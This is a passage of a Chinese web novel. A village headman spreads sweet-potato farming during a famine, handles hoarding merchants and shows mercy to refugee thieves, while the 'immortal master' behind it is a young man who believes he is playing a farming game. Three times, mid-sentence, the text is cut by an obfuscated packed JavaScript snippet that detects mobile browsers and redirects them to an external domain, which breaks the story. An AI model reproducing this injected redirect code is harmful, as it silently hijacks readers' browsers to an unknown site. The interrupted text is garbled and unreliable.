因这事牵连较多,里正几乎是一刻不敢停歇,先后拜访附近的里正,希望对方能够栽种番薯,救村人一命。 周围共计9个村落,居然仅有2处接受了他的提议,做出了和他一样的安排,而剩余的7处,有的觉得他是异想天开,还有的就是不愿意去冒险,毕竟这事干不好了还会被埋怨,还不如一开始就不做最为妥当。 本以为这些村落会毫不犹豫地种植番薯,里正甚至想着到时候他得让素日和他最亲近的人前往教导对方,但是令他没想到的是,这些人竟然会因为那些莫名其妙的理由拒绝栽种番薯。 得知被拒绝后,里正气得失手打翻茶杯。 里正夫人收拾杯子残骸,随后慢悠悠道:“相公,依我看,他们不是不配合,而是不敢配合。” 9.第9章 妥协 里正娘子悠悠道:“番薯是好物,且栽种方法也有咱们出人教导他们,即便如此,对方依然不肯,说明他们顾虑的是另一方面。” 里正蹙眉,随后想到了县里翻了十倍的粮食。 ——那些商户先前就囤积了不少平价粮,现在正闹饥荒,索性翻倍售卖,就等着这次肥一波,若是人们吃上了番薯勉强填饱了肚子,不再去买高价粮,到最后受益的人是老百姓,受损的人是这些投机取巧的商户,这事是万万不被他们允许发生的。 ——没想到,天灾在人祸面前真算不了什么。 里正活了这么大岁数,也不是愣头青,但是依旧心里不得劲。 本以为这等大好事人人都欢喜,谁能想到他们这些人活着竟这么难。 里正一筹莫展,毕竟这些大商户有权有势,就算是他,也惹不起对方啊,若是单是他一个村子勉强吃饱还行,但番薯这物流落到市场,让更多人吃饱后,必定会动了对方的利益,他只不过是一个小小的里正,能有何办法? 事情推广陷入困难,里正本能地就想到了仙师。 ——不如去请教那位? 刚想原路返回请教仙师,里正又犯了难。 本想为仙师好好效力,难不成遇到困难,第一时间他就要灰溜溜的回去求救?这岂不是说明他很无用...... 刚迈出去的脚瞬间收回,里正重重地坐回凳子上,盯着桌子发呆。 里正娘子在收拾好茶杯残骸后,看到丈夫继续愁眉不展,缓缓开口。 “相公,我有一计,只是不知道能否成功。” “娘子请说。” “既无法绕过这些商户推广,何不主动联络他们,迫使对方同意呢?” 里正叹了口气,“娘子,他们又怎会管百姓的死活。” “那就让他们感觉到危险。” 里正娘子身子绷得很紧,一字一顿道:“粮食价高,灾情严重,拖到最后定会流民反攻,不如主动推广番薯。 按照现在水田数量推算,就算全部种植番薯,也仅仅是让人饿不死,不至于动乱而已,若想要人吃饱喝足,依旧需要额外去购买粮食,相公何不将这话告知对方?” 里正一开始还有些发愁,但是随着妻子说出来的话,他越听越觉得可行。 “娘子说得有理,我现在立马出门去联络当地的商户和里正,若这件事能成,待我返回时,你和我一起去山上拜见仙师。” 说实话,里正在位的这些年,遇到难事时,基本上都是里正娘子帮扶着他,替他出谋划策。 只不过此事外人不知而已。 “不着急,此去只有一次机会,相公何不准备充分再去?统计田地数量,用事实告知对方推广番薯的好处,岂不是更好?” 里正娘子说话同时,从屋内拿出斗坡村的田册递给里正。 里正快速翻阅田册,很快在需要的一页夹杂上书签。 除了这事之外,他还要联络别村里正,共同商议这事。 看到自己的提议被采纳后,里正娘子从屋内离开,转去偏房收拾衣物。 ——她早就想去拜见那位仙师,若不是上次里正如何也不肯让她离家,她必定也会跟着村人前往! 她收拾衣物时,三个儿媳妇也跟着忙活,帮着她一起收拾。 这次上山,她是没打算带三个儿子和儿媳妇去,毕竟她岁数大了,冒点险无所谓,孩子们岁数还小,等稳妥点再去。 从里正娘子提出建议,到里正劝谏其他村里正,再到里正们被劝说到动心,再邀约各村商户一聚商议番薯,仅仅过了三天。 被里正邀约来的各路商户,小商户们不好婉拒,只能捏着鼻子过来,而那些大些的商户,则是纷纷称病,或是人在外地,无法亲自前往,只派了管家前来,算是给全里正的面子。 各路人马全部聚集在斗坡村简陋的议事厅内。 等看着人差不多到齐全后,里正站起身,咳嗽两声开始发言。 “邀请诸位此番到来,客套话老夫就不多说,只说大家最关注的问题。 今年旱情严重,不少百姓吃不上饭,想必这事大家都知道......” 里正刚打个开头,立马就有坐不住的小商户叫苦。 “今年都难啊,不说别人,我家生意今年赔了得有几十两了!......孩子的束脩费还没着落,唉,这该死的贼老天!为何要如此对待我们这些穷苦百姓!” 有这商户诉苦打头,其余的商户跟着大倒苦水。 总体涵盖下来就是,不好意思,里正,我们没钱没粮,别指望我们能给这些流民捐钱买粮食吃,能来听你说废话已经是给足了你们面子了! 里正眼皮子直抽搐,其余早知实情的里正们也是微微不爽。 ——至于么,好歹听老张把话说完啊。 因事先预演过此场景,所以张里正很快反应过来,打断了这些商户的诉苦。 “知道大家都难,所以我们也没闲着,最终终于让我们给百姓们找到了一条活路。” 商户们瞬间闭嘴,瞪大眼睛想知道这所谓的活路是什么。 总不能是这张里正拉到了投资,还真有傻子给捐粮食了? 众人抱着看热闹的心态看着张里正发言。 却见对方拿出一块他们从未看到的红褐色块根捧在手心,随后侃侃而谈。 等到张里正说到希望各商户能在番薯种植上帮忙时,众商户均是蹙眉,关系较好的商户已经开始小声嘀咕开来。 “他莫不是糊涂了?若这番薯真像他所说,亩产数千斤,我们囤的粮食岂不是要烂在手里?” “......先看看情况,若是番薯真能亩产数千斤,我们必须要干涉它的种植,不过这玩意若真如他所言,我们也应当恰当表示帮忙,好将番薯养护方法和种子掐在手里。” “还是王兄有远见,先看看这张里正如何安排吧。” 等到张里正说到一半时,白家商户的管家出言打断了他。 “张里正,恕我直言,这番薯你为何断定它产量高,若没有证据,我们也不敢全力相助啊。” “对啊,张里正,此事关系万千,我们得小心行事才是。” 其余村的里正互相对视一眼,均看出了这些狡猾商人的不满。 张里正并未自证,反而看向台下,怒斥道:“此物是仙物,自是神奇,若之后番薯产量虚假,老夫愿意承担所有责任! 若你们担心番薯会让粮价暴跌,那我只想说各位多想了。” 边说,张里正边从怀里掏出一本册子。 “这册子是我集合各村里正统计而来的水田数量,相对应的番薯产量也计算出来,即便是按照最理想的情况来看,种植番薯也仅仅只能让百姓勉强处在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809831|157987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饿不死的状态,该买高价粮的依旧还会去买,何谈会影响在座的各位呢?” 此话一出,众人皆沉默无声。 仙人给的仙物?可笑,想必是张里正的托词而已,不过他这话倒是有几分道理,众人均在脑内思索得失。 张里正还想继续开口,却被刚才的白管家出声质问。 “张里正,你这话说得也不对,番薯无论数量多少,出现必然会引发粮价的降低,如何能叫不影响粮价?” 张里正斜眼瞪他,随后朗声道:“若你为了那点差价不肯推广番薯,百姓最后被逼上绝路也是你的过错,这过错,你可能担得起?” 白管家被张里正这般严肃的态度唬住,脸色忍不住涨红,嘴里不断重复反驳。 “...休要胡言乱语,我何时说过我要将百姓逼上绝路这话了?......张里正不要无端污蔑我。” 不过此刻他的反驳已无人在意了。 张里正此话一出,大大小小的商户均是一愣。 张里正这话甚是尖锐,撕开了他们长久以来的担忧。 ——囤积的粮价涨了是好事,但这也得有人能买得起作为前提,若是百姓到了无钱无粮,饿得要死的时候,谁都能想到他们会做什么。 其实这些商户都晓得这个道理,也曾在前几日聚在一起商讨过此事,最终得出结论,若要降低百姓为流寇的概率,只能说捐粮,降低粮食价格。 但这两样操作,无异于杀了他们,于是这事就这样被搁置下来了。 现在张里正故事重提,不同的是,现在他们不需要有过多的付出,只需要承担一小部分降价的损失——也谈不上损失,顶多就是少赚点钱,自有人替他们解决先前困扰的问题。 ——若是损害自己利益的事,商户们不可能同意,但这事细细品味下来,明显是利大于弊。 看着台下众人蹙眉沉思的模样,张里正眉间露出淡淡的欣喜。 好事啊,只要这些人没有反驳,这就是说明他们至少在权衡利弊。 屋内一片寂静,直到张里正开口询问,众人这才纷纷起身,表示方法好归好,为了谨慎起见,他们需要回家考虑考虑。 “番薯种植费心费力,既然大家都觉得方法好,那老夫先行事了。” 众人:......得,这人完全不听他们的话啊。 但是话说回来,张里正今日提出的解决办法不可谓不及时,虽说管家们觉得这事可成,但他们必须要将这事上报给家主,由家主做决定才行。 众人各自心怀鬼胎地散了,等到人群完全走完后,各位里正留了下来,将最中心的张里正团团围住。 “老张,你今天这一手,真是让我佩服啊。” “我是没想到,老张你竟用仙物为番薯打幌子,倒也为之后推广番薯打下了一番基础。” “有仙物作幌子,想必百姓会更加配合,好啊好啊!” 张里正忍不住反驳,“这仙物可不是幌子,它确实是仙师赐给咱们的,目的就是帮助咱们度过这一难关......” 话还没说完被人打断。 “好了好了,现在没有外人,老张你就别演了,这怎么还演戏上瘾啊。” 张里正还想说点什么,但是在看到以往的老朋友们不信的眼神后,沉默了。 这仙物,真是神仙给的啊!你们怎么都不相信呢! 10.第10章 贼人 自上一次简陋会议结束后,张里正忙着让本村学会了番薯种植技术的人前去各个村子传授种植经验。 等到之后又感觉这方法效率不够,转而让各个村子出人来斗坡村学习。 因番薯叶绿油油一片,甚是喜人,斗坡村劳动力几乎全投入到田地中去,再加上前来学习的人越来越多,番薯的种植养护逐渐落到了不少村中聪慧的女人身上。 讲课的时候,一般是两个妇人一起给来的人讲,也是因为在本村,所以并没有危险。 所以等到距离斗坡村比较远的村子,李家村来人学习时,这人就是被两个女人给引着去了议事厅教学。 李家村来人看着面前的两妇人,颇有些瞧不起。 ——村子竟然让女人教他们这复杂东西,女人天生愚笨,能教好么?可别教错了,回去平白拖累他。 所以在听二女讲课时,此人不断找茬,想提问种植方面的难题来逼退二人。 其中一女年岁较小,被质疑后气得红了脸,却不知如何反驳,而另一年岁较大的女子,则在笑着回答讲解完问题后,抛下一句话。 “李家村真是后生可畏啊。” 这人哦了一声,心神愉悦,好奇为何这样说。 结果却被妇人的回应气得眼皮直跳。 “有道是笨鸟先飞,勤能补拙,别的村子我也教了不少,唯有你提了这些问题,可真是太好学了,要我说,就该人人像你学习,这样我们推广番薯养护可不就简单多了嘛。” 看似是夸奖,实则是在暗讽此人愚笨。 ——别人听一遍就懂,就你来来回回的问! 这人气得刚想张口,却见妇人收拾东西就要离开。 想了想,追上去又不合规矩,索性气呼呼地离开。 等到这人走后,年纪小点的妇人眼神中带着解气。 “嫂嫂,那人真惹人厌,我当时都不想教他了,好在最后你羞辱了那人,不然也太便宜他了!” “老顽固罢了,主要是番薯种植能救的人太多了,我们也不好意气用事,让他自己也尝尝被质疑的滋味就够了。” 说话的两人正是里正家的两个儿媳妇,大点的是大儿媳,小的那个是最小的儿媳。 大儿媳嫁人前被先生教导过几年,嫁了过来后,遇到的张里正一家均是讲理之人,日子过得还算舒心,而小儿媳嫁人前只是认了字,再加上年纪小,家里人倒是也较为照顾她。 小儿媳道:“不知什么时候阿婆才能跟着上山拜见仙师,也不知仙师到底是什么模样?” “听阿公说,仙师绝非凡人,也别心急,咱们总有机会跟着一起拜见仙师。” 大儿媳想得很明白,两人说了两句后,这才回了家。 偶然的小插曲并不影响斗坡村继续传授番薯养护知识,时间过得很快,再过一个月,就到了番薯能够收获成熟的季节了。 这段时间,张里正基本上全心全意为了番薯推广这事忙碌,其中也有几次想回山上见见仙师,但思来想去,还是暂时放弃了。 他更想等一切处理妥当时,再去向仙师呈递上自己努力后的成果。 话说在潜灵山上的村民,则是不停地开辟荒地。 因好些天没见到仙师,所以暂时还没有发工钱。 不过村民们都没太担心工钱这事,毕竟在他们看来,仙师可是神仙,每日太忙完全可以理解,再加上这位的慈悲心肠,所有人只是勤勤恳恳地继续劳作。 再说了,山上有吃有喝,工作也不累人,人不能要求太多,否则就是不知好歹了。 因张里正的努力,番薯的推广几乎涵盖了整个县城,甚至辐射到了周围县城的几个村庄。 在这些地方,番薯推广得如火如荼。 而整个大炎朝,战争,天灾却是接连不断。 大炎朝分为三个州,幽州地势最高,苦寒无比,将领民众茹毛饮血,本性凶残。 黎州,地处平原,地势最为平坦,大炎朝就坐落于最中央,坐拥最肥沃的土地,数条矿脉,盐田等,也是三州中最为富贵奢靡的州,军马装备精良,据说名下有四十万大军严阵以待,守护着大炎朝安危。 明州,地处西北部,地势易守难攻,但因为山脉较多,商路建设困难,经济较为落后,信息也最为闭塞,据说明州有五万大军镇守边疆,以防金人来犯。 而凤仙县所在的正是明州。 明州不像名字这般,反而是三个州中最为混乱的一州,上面的派系争斗不断,各县官员联手搜刮民脂民膏,当地民众民不聊生,而风仙县最为偏僻贫穷,倒是阴差阳错,让这里的民众苟延残喘下来。 可以说,除了风仙县及周围的几个贫困县之外,别的地方早就因战乱和饥荒混乱一片了。 这次番薯的养护种植,几乎没有惊动县令,反而是自下而上,在民间偷偷流传。 各村的里正倒是纷纷给自己的顶头上司县令发了一份工作报告,这报告在经过十天后,这才到达县令府衙,但令人惋惜的是,这份关于番薯的种植养护报告,却和其余大大小小的报告混合在一起,被埋没在县衙无人问津。 番薯按道理最快是三个月成熟,现在时间已过了两个月有余,张里正的心却不受控制地怦怦乱跳。 甚至就连睡觉,梦到的也是番薯出现了变故,被贼人偷走,或者是被纳税部门给收缴走。 等到梦醒后,张里正抹了把额间冷汗,脑海不由自主想到了那些番薯。 ——还有半个月收割,这半个月无论如何,得派人看着点,省得前功尽弃。 就这样,村里负责巡逻的又多加了一组,巡逻队无论黑夜白日,看护着属于本村的活命粮。 本以为会一切顺利,但谁也没想到,番薯地竟糟了贼! 一大早,张里正在得到消息后,立即匆匆赶到地里查看情况,等看清楚被祸害的那一小块地后,顿时心疼得直抽抽。 ——原本绿油油的番薯苗,此刻已经被踩坏在地,贼人除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818210|157987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了踩坏苗子外,还偷走了不少番薯。 现在这块番薯地可是全村活命的粮食,容不得一份差错! 张里正带领着巡逻队,折腾了两天,好容易逮住了偷东西的贼。 ——两个男人,一个女人和两个小孩,衣衫褴褛,形容枯槁,一看就是不知道从哪来的流民。 当天,这几个贼人就被绑住了手脚,扔在了地头,不少村人气势汹汹地过来,手上拿着木棍石块,想揍这些贼人,却被张里正拦了下来。 为首的贼人不说话,那双浑浊的眼睛却像发了狠一般,瞪着眼前的张里正。 张里正不由地瑟缩一下,随后又刻意挺直了腰板。 “我问你,你们是哪里来的?为何要偷窃庄稼?” 男人发出“嗬嗬”声响,张里正有些惋惜,——这人竟是个哑巴,只能转身去问年纪稍小的另一男人。 “我们是林县杨家书馆的人,逃难逃到了这里,偷窃不是我本意,而是我的侄子侄女快饿死了,只能无奈出此下策。” 小少年说话倒是不卑不亢,除了认错外,这位名叫杨延的小少年给众人讲了外面的情况。 众人很快从他的话语中意识到一个问题,外面已经极度缺粮了,人相食,不是说说而已。 不过林县距离他们风仙县较远,不知这几人是如何逃到了这边? 张里正继续问,杨延道:“封城前,我家得到了消息,于是带着家眷趁封城前逃了出来,家父作出决定,带我们逃到偏僻之地,岂料路途遥远,在中途我们被强盗打劫,损失惨重,大哥为了掩护我们,被歹人割掉舌头,折磨得全身是伤。 昨夜我害怕孩子饿死,偷走了贵村的食物,偷盗全是我一人做出的决策,还请里正不要打死他们,只打死我罢!” 小少年说完这话后,身躯匍匐在地,似乎正等着张里正的裁决,而先前的哑巴,这会只能慌乱地“啊啊啊”乱叫。 瘦得诡异的女人出口替自家小叔子和丈夫求饶,两个小孩则是饿得发不出声音,只能仰躺在地上,瞪大眼睛看着天。 肚子鼓胀胀的,眼神干巴巴的,似乎不带有一点情绪。 看得周围村人均是呼吸一滞,本想好好教训一番贼人,这会却被这家人搞得不知该如何行动。 张里正哑了嗓音,按照经验,他绝不该心软,毕竟流民危害实在太大,但经过仙师赐予他们番薯,带他们走出饥饿后,张里正突然怀疑开以往的经验。 若仙师不曾有怜悯之心,他们和流民的结果是一样的,自己收到了那位的好意,然在面对处于相同困境的人时,他是否也能给与对方同等的怜悯? 张里正不敢轻易下结论,最后决定在任务完成后上山请教仙师,于是,他慢悠悠道: “打死你倒是我们造孽,不如留下来干活偿还吧。” “既然你说你是书馆的,想必会读书认字,往后我们斗坡村孩子认字全靠你了。” 杨延颤抖着抬起头,满脸的不可置信。 11.第11章 中奖 今天被逮到后,他早就做好了被打死的准备,现在外面人们为了一口吃的早就打得不可开交,他们一路逃难,路上什么事都见到了,昨天他其实也是抱着必死的决心来偷窃的,想的是好歹让侄子侄女临死前吃饱,倒是没想到,对方竟然会选择原谅他们?还让他们暂时留在本村? 一切和做梦一般,杨延还未来得及说话,就被张里正一声令下,好几个村民带着他们进了一处荒废的院子。 等到村民离开后,杨家人顿时抱头痛哭。 ——活着,实在是太苦了啊。 但是活着,却又总能遇到好事。 在提心吊胆中,张里正终于熬到了番薯收获的时间。 不用他下令,斗坡村无论男女老少,全部去了农田里挖番薯。 甚至就连前几天的杨家人,也出了两个男人帮忙去挖番薯。 话说这杨家人被斗坡村收留下来后,张里正先给这家人送了点吃的,防止人饿死,后来又去番薯地摘了不少番薯叶子给他们一家吃。 前后吃了几口饭,杨延感觉自己总算是活过来了,虽说身子还很虚弱,但是他还是想报答一下斗坡村的村民们,不过在挖了一个时辰后,人晕倒在地里而已。 张里正无语之下,让人把他抬了回去。 而负责挖掘番薯的,则是各个露出了震撼神色。 ——这产量,比先前预算的要高一些啊! 当时张里正预计每亩地番薯能产6000斤到头了,但是谁也没想到,番薯最后竟然收获了7000斤,整整多出来1000斤,要知道这1000斤可是能多够一家人吃好几个月了啊。 张里正心里火热,指挥着村人一筐一筐地将番薯抬回去。 为了储存番薯,他们先前就在养护知识里学习到了挖掘地窖,所以斗坡村挨家挨户,都在隐蔽的后院挖掘出了一处地窖作为存储番薯的地方。 一连忙活了有五六天,全村人全部劳作,终于将二十来亩地的番薯全部挖掘出来。 村里一共有44户人家,人口共有402人,26亩地,番薯共计产量为182000斤,这样计算,每户人家能分得4000余斤。 番薯在他们这里,可以耕种两季,等到冬季时,还能继续种植一轮。 在下一批番薯成熟前,至少能保障村民们饿不死了。 张里正呼出一口气,心里是忍不住的兴奋,——这样的话,他总算是能对得起仙师,对得起斗坡村的村民们了。 当天晚上,村人便将番薯放进火堆中烤熟,等到空气中逐渐弥漫出番薯的香甜味道时,所有人都忍不住地咽了口唾沫。 这味道,闻起来可真是香! 除却香以外,还掺杂着一股甜,等到火扑灭后,村人七手八脚地拿出熟了的番薯,张口就要咬下去。 张里正倒是还记得那仙影里吃番薯的方法,先用拇指食指剥开了皮,露出里面橙红心香甜的番薯,咬一口,顿觉口腔中糖分满满,再往下剥开番薯皮,手指甚至都被那番薯渗出来的焦糖染得黏糊糊了。 “哎呀这番薯可真甜啊,好吃好吃。” “吃起来果然和仙人说的一般,甘甜可口。” “这番薯我觉得熬粥应该也好喝。” 大伙笑着谈论着番薯的滋味,手上剥番薯皮的动作也不停。 张里正扫视全场,找到了杨家人后,将先前拿出来的几个烤番薯递了过去。 “吃点吧,回头你们去地里挖点断了的番薯去。” 其实这年头,断了的番薯也一样吃,但是想到杨家人,村人还是给他家留了一些断薯。 杨延有些无地自容,似乎没想到对方竟然会亲自过来给自己送番薯,等听到张里正后面的话后,他点点头,已是不知该如何感谢斗坡村的村民们。 张里正没说话,点点头不再关注他家,在确定番薯分完后,这才让众人解散开来。 而在其余村落,里正们也是兴奋不已。 ——老张竟没有吹牛!这番薯产量着实惊人!他们一亩地,出了有6000斤,简直是出乎所有人意料! 有的村落水田多一些,这会村子里可谓是人人欢喜,而水田少的村也高兴,——不说吃饱,就说只要能够活着就好啊! 等到第二日时,各村里正着急过来斗坡村想拜访张里正时,却被告知张里正已经离开村子,去拜访仙师了。 其余里正:......不是,老张还沉迷于演戏呢? 而张里正则是带着张娘子,带足了干粮以及此行所需的物品后,快速赶路。 按道理这个时候赶路挺危险的,但是好就好在前往潜灵山的这段路是人人知晓的险恶路段,不会有人蠢到会主动前往潜灵山,所以久而久之,这条路早就变得人迹罕至,别说劫匪,就连别的行人也是没有的。 两人赶路之际,张里正想着回去后给仙师汇报工作,——不知仙师近些日子在忙些什么? 而张娘子则是望着越来越接近的山脉,眼神逐渐坚毅,手心不自觉出了汗。 殊不知,二人心心念念的仙师,姜定此刻正在给刚出炉的粽子摆盘。 等粽子弄好,饭菜烧好摆放好后,房女士和姜爸这才一前一后回了家。 房女士脱下遮阳帽,将帽子挂在入户门的挂钩上,脸上带着无语和自家老公吐槽。 “你说我们单位的李姐有多烦人呢,小定来给我送考核本,她又来问我儿子去哪高就了,不就她儿子去了银行嘛,至于嘛!” 边说,边气鼓鼓的将防晒口罩解开,挂在帽子边,姜爸看了眼乖乖坐在饭桌前的姜定,有心安慰自家老婆。 “银行工作虽说还可以...” 话还没说完就感受到了房女士的眼刀,随后姜爸咳嗽一声继续说,“有啥好的,那早出晚归的,哪能比得上咱家小定能和咱两天天见,你看,小定不还给咱两做饭呢,你问问李姐有没有儿子给做饭这待遇。” 这话说完,房女士看着好像更蔫吧了几分。 姜定赶紧开口:“不说别的了,爸妈,你俩快来尝尝这粽子,味道还挺好。” 房女士看着桌子上的饭菜,心里多了几分热乎劲,招呼老公一起吃饭后,她坐下来吃粽子时,眼神瞬间一亮。 “别说,味道不错,比去年的好吃,小定,你也再吃一个。” 姜定对粽子兴趣其实不高,但是这会也不好说什么拒绝的话,赶紧接过粽子,剥开粽子皮,一口咬下。 这一口下去,不是想象中的柔软,反而牙齿像是磕到什么重物上一样。 磕得姜定一阵牙疼,忍不住“哎呀”一声,喊了出来。 房女士赶忙放下筷子,冲过去看他。 “怎么了这是?” 姜定面露难色,随后张口吐出一团金灿灿的东西。 “...什么东西,好硬啊。” 全家人都看向被姜定吐出去的那玩意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832369|157987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只见这玩意状似蜜枣,但是浑身金灿灿的,此刻正乖巧地躺在餐桌上大大方方地接受着全家人的眼神洗礼。 “......我怎么觉得这是金子呢?” 姜爸沉默片刻,像是不敢置信般开口,而房女士则是快手快脚的伸手,拿着金枣就要看。 上手她就笑了。 这玩意,不是金枣还能是啥? “还真是金枣,挺有分量,咱家的厨房称呢,赶紧量量重量。” 姜定呆愣在餐桌前,而姜爸则是快手快脚地拿过厨房称,一量,三人都惊呆了。 “这小玩意竟然有30克啊?” 房女士瞪大双眼,“现在金价是760,回收价格也得700,所以这是21000?” 谁都没想到吃个粽子还能吃出来两万一,这事一出,三人都没心思继续吃饭了。 房女士兴奋地举着金枣走来走去,“这金枣要不要去换了融个新首饰啊?” 一旁的姜爸赶紧打断了她,“别了吧,这金枣做得挺精巧的,又是儿子吃出来的,是咱家好运气的象征,你留着它,万一以后还能招财呢?” 这话很有道理,至少成功说服了房女士。 在洗了洗金枣后,这枚金枣被放进了盒子里收藏起来,用房女士的话说,以后这枚金枣就是家里的镇宅之宝。 姜定此刻也没心思吃饭了,主要还是震惊到了。 ——今天很不对劲啊,总感觉他今天的运气似乎好得不像是他自己了呢? 似乎是看出来姜定的疑惑,姜爸咳嗽一声,“小定啊,人这一生,运气绝不是恒定不变的,你人生的前半截运气不好,后半截运气肯定会好起来,这我是听一个师父说的,觉得很有道理。” 姜定迟缓着点了点头,内心暂时相信了这个说法。 所以说,他倒霉了二十一年,现在终于否极泰来了? 心中一阵激动,姜定趁着父母两人心情好,索性直接溜回了自己房间。 ——有点兴奋了,还是玩会游戏缓解一下自己的兴奋劲吧。 姜定打开电脑,快速登录游戏,等看到游戏显示的游戏时长后,他微微蹙眉。 不是,他就几个小时没玩,游戏内居然已经过了三个月了? 啊?这是不是太快了? 像是想到什么一般,姜定连忙打开游戏的雇佣界面。 等会,之前那块荒地! 他上次下线前,预测那块荒地只能再捡垃圾三五天就会开荒完毕,现在可好,游戏里直接过去了三个月! 三个月,那些工人起码得休息了两个半月啊! 一想到白白流失的工钱,姜定的心瞬间就凉了。 完了,第一个档应该是要废了。 姜定微微闭眼,不敢去看游戏内他到底倒欠了多少铜板,然而等他睁眼后,却发现事实和自己的预估好像出现了偏差。 先前那一小块荒地,不知为何,范围扩大了许多,别说开荒三个月,按照这个大小,姜定觉得开荒一年说不定都开不完。 他赶紧点了荒地,想去那里看看工人的工作情况。 倒是游戏先提醒他了。 【你的工人已经三个月没发工资了,你或许可以找个信得过的人,让对方负责发放每日薪资。 当然,如果觉得每日发放工资麻烦的话,可以选择发放月工资。 不过发放月工资的话,你或许需要找一名会计了。】 12.第12章 求贤若渴 姜定看着提示,沉默着关闭了游戏的雇佣界面。 ——不就是每日发放工资嘛,有啥麻烦的,他一个人可以的! 【请为您的工人发放工资吧,拖延一个月的工资要多发放5%哦。】 ...... 姜定面无表情地再次将雇佣界面打开,确定同意寻找一名会计。 毕竟有给会计发工资的工钱都够几个延误工资的赔偿金了。 不过....这会计让谁来做是个问题。 他雇佣界面的工人并没有属性是适合会计的,没办法,只能暂时委托别的工人,等后续有会计属性的工人后,再将此人替换下来。 按照游戏提醒,姜定先是给众人发放了工资,随后又去厨房,宿舍添加消耗用品。 等到忙完这些后,姜定这才有心情前往荒地查看情况。 ——先看看荒地的扩大是什么原因,还有就是得去看看他不在的这段时间,工人们给他弄到了多少有价值的物资。 而等姜定还未前往荒地时,潜灵山上的所有工人都知晓了他回来了。 这些村民看着手里多出来的荷包,心里一阵火热。 “看,这不是仙师给咱们发放工资用的荷包吗?” “仙师这是回来了?” “我数了数,里面的工资比咱们要发的工资多啊?” “莫不是仙师给错了?” 看到众人欣喜中又带着不可思议的表情,张山瞬间梦回先前自己日工资400文时,所以此刻,他觉得自己有义务替众人解释一番。 “仙师那等仙人,怎么会算错,依我看,仙师是因发放工资时间迟了,所以这才多给一些,当做补偿,赶紧收好吧,仙师不喜欢有人去问他关于工资的问题。” 张山似乎回忆起了先前那位冷峻的神色。 是了,仙师那样的高风亮节,他绝对不会容忍因自己的失误而造成别人困扰的事情出现,上次仙师懊恼没给自己说明白上工时辰,竟然按照多余的时辰,将他的工钱一一结清,可见仙师本身就是一位公正有原则的仙人。 张山越想越觉得自己想得一点错都没有,于是,他连带着将自己的猜测,一并告诉了众人。 等到众人听完这些后,个个都沉默了。 别说仙师这般,他们见到的官老爷,富商,无一人有仙师的气魄。 众人被感动得抹了把眼泪,呜咽地发出声响。 “仙师竟还能想得到我们这些贱民们,以后我等必好好替他效力。” 其余人赶紧跟上表衷心,而就在这时,张山察觉到,仙师好像来了! 他赶忙咳嗽一声,示意众人散开。 有人用眼神询问是否要上前叩拜仙师,被张山拦下。 “以我这些日子对仙师的观察,仙师素日低调,必不喜欢我们这样,大家伙要是真想谢谢仙师,不如埋下头,好好替他干活才是正经道理。” 张山这话有理,这些人立即吭哧吭哧地干了起来,而姜定来了后,看到勤恳工作的工人们,先前堵着的一口气,这会慢慢散了。 ——算了,好歹工人干活还挺努力。 再往前走两步,游戏提示蹦了出来。 【你的工人为你采集到了以下物资:石块*90713,干草*79301,木材*30023,蛇毒果*236,苹果*622,番薯种子*412,辣椒种子*102,铁矿石*26,黏土*6。】 【检测到你的工人携带幸运增幅属性,你额外获得千年灵芝*6,千年人参*21,千年何首乌*4。】 【荒地已解锁未知区域。】 哦哦哦,工人给自己采集的东西不少啊! 姜定一阵唏嘘,随后在看到那一堆千年药材后否定了自己先前的判断。 ——呃,众所周知,剧情道具具有唯一性,这堪称量大管饱的千年药材,他算是看明白了,这玩意绝对不是所谓的剧情物品。 若是按照以往的游戏来看的话,这些药材要么被用作做药膳,要么被用来开药房。 不是剧情物品让姜定有些失落,但在看到铁矿和黏土后,姜定虎躯一震,嘴角微微勾起。 竟然触发铁矿和黏土矿了! 众所周知,铁的用途太多了,无论是武器,交通工具,厨具,以及耕种都离不开铁矿,黏土矿则是可以用来制作石灰,绝对的修路利器,要想富,先修路,他可是熟知这一点的。 不过虽说工人替他采集到了铁矿和黏土矿,但是具体矿脉的位置,他还是不清楚,必须得询问工人是在哪里找到这些东西的。 于是,姜定拿出铁矿和黏土矿,询问这两样东西到底来自哪里。 众人本还在低头忙碌,但听到仙师有话要说后,纷纷抬头,凝神静听,等到听清楚仙师询问的问题后,张氏略带忐忑地站了出来。 “仙师,这两样东西是我捡到的,具体位置就在前方不远处的树林中,若您需要带路的话,我这就带您过去。” 姜定赶忙同意对方带路。 先看看那地方是个什么情况再说。 于是很快,张氏在前方小跑着,而姜定则是操控主控,在后面慢悠悠地跟着跑。 